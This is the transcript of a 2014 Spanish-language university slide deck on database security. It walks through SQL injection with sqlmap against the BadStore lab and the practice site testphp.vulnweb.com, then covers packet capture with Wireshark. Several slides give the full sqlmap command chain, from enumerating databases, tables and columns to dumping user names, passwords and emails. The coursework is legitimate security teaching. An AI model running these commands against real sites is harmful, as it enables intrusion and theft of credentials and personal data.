ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

40
SEGURIDAD EN BASES DE DATOS Momento 2 grupal Carlos Andrés Coutin Garcia Cod: 1032360787 Alexander Valencia Valderrama Cod: 98659968 LILIANA ROJAS Cod: DIANA KATERINE QUIÑONEZ Cod: JESUS EMIRO VEGA Director de Curso UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA “UNAD” ESCUELA DE CIENCIAS BASICA, TECNOLOGIA E INFORMATICA Choco - Quibdó 2014

description

Tipos de ataques a bases de datos contenidas en paginas web

Transcript of ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Page 1: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

SEGURIDAD EN BASES DE DATOSMomento 2 grupal 

 Carlos Andrés Coutin GarciaCod: 1032360787 

Alexander Valencia ValderramaCod: 98659968LILIANA ROJAS

Cod:DIANA KATERINE QUIÑONEZ

Cod:

JESUS EMIRO VEGADirector de Curso   

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA “UNAD”ESCUELA DE CIENCIAS BASICA, TECNOLOGIA E INFORMATICA

Choco - Quibdó2014

Page 2: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

1. Ataque por inyección de código SQL.

 Descargue e instale la máquina virtual Virtualbox. - Descargue BadStore.- Descargue un programa para realizar ataque por inyección de código SQL sesugiere SQLMAP (http://sqlmap.org/) o  Nmap (http://nmap.org/download.html.- Realizar un ataque a la base de datos de Badstore, con lo cual se debe obtener toda la información sobre la base de datos por ejemplo servidor de BD y versión, nombre de la base de datos, nombre de las tablas, información de las tablas, información de las columnas, etc.- Realizar una presentación o video sobre el ataque realizado.

Page 3: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Realizando el ataque

Page 4: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 5: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Para determinar la vulnerabilidad del sitio que se nos dá, debemos colocar una comilla al lado del signo igual y actualizamos la página y esto nos debe indicar que tiene un error de sintaxis en la instrucción SQL, lo que lo hace vulnerable al ataque.

Entonces copiamos la URL y lo copiamos en el comando del software sqlmap y ejecutamos presionando la tecla Enter

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?artist=1 –bds

Este comando nos permitirá conocer el nombre de la base de datos, como lo muestra la siguiente gráfica

Page 6: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 7: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Conociendo el nombre de la base de datos podemos ahora conocer las tablas que hacen parte de esa base de datos por medio del siguiente comando

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?artist=1 -D acuart –tables

De este modo podremos conocer el nombre de las tablas, que hacen parte de esa base de datos

Page 8: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 9: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Una vez identificadas las tablas podremos conocer, las columnas de cada tabla, para ello debemos digitar el siguiente comando.

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?artist=1 -D acuart -T users –columns

Este comando nos mostrará, las columnas de la table Users, tal como lo muestra la siguiente gráfica.

Page 10: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 11: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Luego conocer las columnas de la tabla Users, debemos conocer el contenido de algunos de los campos, de dicha tabla. Por medio del siguiente comando podremos conocer el contenido del campo Uname, por medio del siguiente comando:

sqlmap.py -u

http://testphp.vulnweb.com/listproducts.php?artist=1 -D acuart -T users -C uname –dump

La siguiente gráfica nos muestra el contenido del campo uname

Page 12: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 13: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Así mismo para los campos restantes, tales como el contenido del campo name, por medio del siguiente comando. sqlmap.py -u

http://testphp.vulnweb.com/listproducts.php?artist=1 -D acuart -T users -C name –dump

La siguiente gráfica muestra el contenido del campo Name, en la table acuart

Page 14: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING
Page 15: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Y podemos seguir conociendo más datos de la tabla usuarios, ahora lo vamos a hacer con el campo email

Page 16: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Por si quedan dudas extraemos la información de la cedula

Page 17: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

2. Ataque con inyección de código SQL a sitio web

Realizar un ataque a la base de datos del sitio http://testphp.vulnweb.com, con lo cual se debe obtener toda la información sobre la base de datos por ejemplo servidor de BD y versión, nombre de la base de datos, nombre de las tablas, información de las tablas, información de las columnas, etc.

Page 18: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Lo primero que debemos es definir de qué modo se realizará el ataque, ya sea por sistema operativo Linux o por Microsoft. Para este caso se relaizara con Microsoft Luego de definir el sistema para el ataque se procede a descargar un programa para realizar ataque por inyección de código SQL se sugiere SQLMAP ( http://sqlmap.org/) o Nmap (http://nmap.org/download.html) y el programa Pyntos  Descarga de pyntos

Page 19: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Descarga de sqlmap

Page 20: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Una vez descargados se necesita que la carpeta comprimida de sqlmap sea instalada en el mismo lado o unidad como se observa en la imagen.

Page 21: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Ahora validamos que la pagina suministrada sea vulnerable a ataques, esto se hace agregando el apostrofo‘ al final de url. Url a validar: http://testphp.vulnweb.comValidación de vulnerabilidad de la Url

Page 22: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Una vez analizada y verificado el posible ataque a realizar, procedemos a ubicarnos en por línea de comandos en la carpeta sqlmap con el comando cd .., de la siguiente manera:

Page 23: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Y una vez ubicados en la carpeta sqlmap, comenzamos con la ejecución de comando.Ejecución de comando para averiguar nombre de la base de datos:sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 --dbs

Page 24: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Ejecución de comando: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 --current-db; para extraer información de la base de datos

Page 25: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Comando para extraer el nombre de las tablas de la base de datos: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --tables

Page 26: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Comando para extraer las columnas de la base de datos: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 –T user --columns

Page 27: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Comando para extraer datos de las columnas de la base de datos: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T user -C name –dump

Page 28: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Comando para validar password: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T user -C pass –dump

Page 29: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Commando para verificar email: sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T user -C email –dump

Page 30: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

3. Ataque por Sniffing.

Para esta práctica se debe descargar el software Wireshark desde el sitio web http://www.wireshark.org/download.html. La práctica consiste en la instalación del software Wireshark, luego con el software en ejecución tomar una observación prolongada, generando tráfico ftp, telnet, http, icmp, entre Una vez terminado el proceso de captura inicie el análisis de los paquetes e identifique que tipo de información se puede obtener a través de este tipo de ataque.

Page 31: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Se descarga el programa del página http://www.wireshark.org/download.html, verificación al abril el programa, damos clik, donde señala la fecha

Page 32: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

A continuación encontramos un cuadro de diálogo, en el cual debemos seleccionar la tarjeta de red.

Page 33: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

La tarjeta que se debe colocar a la escucha es la que recibe datos, luego de escogerla damos clik en Star, al instante se inicia con la captura de paquetes de datos de todos los hots conectados a la red.

Page 34: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Luego escribimos el protocolo que queremos filtrar, en el recuadro que indica la fechaAsi:

Page 35: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Cuando escribimos mal la dirección ip o el protocolo no presenta un error así:

Page 36: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Filtró desde el protocolo Ethernet

Page 37: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Filtró desde el protocolo TCP

Page 38: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Filtró desde el HTTP

Page 39: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

 Filtros por DNS

Page 40: ATAQUES POR INYECCIÓN DE CÓDIGO SQL Y SNIFFING

Fin de la presentación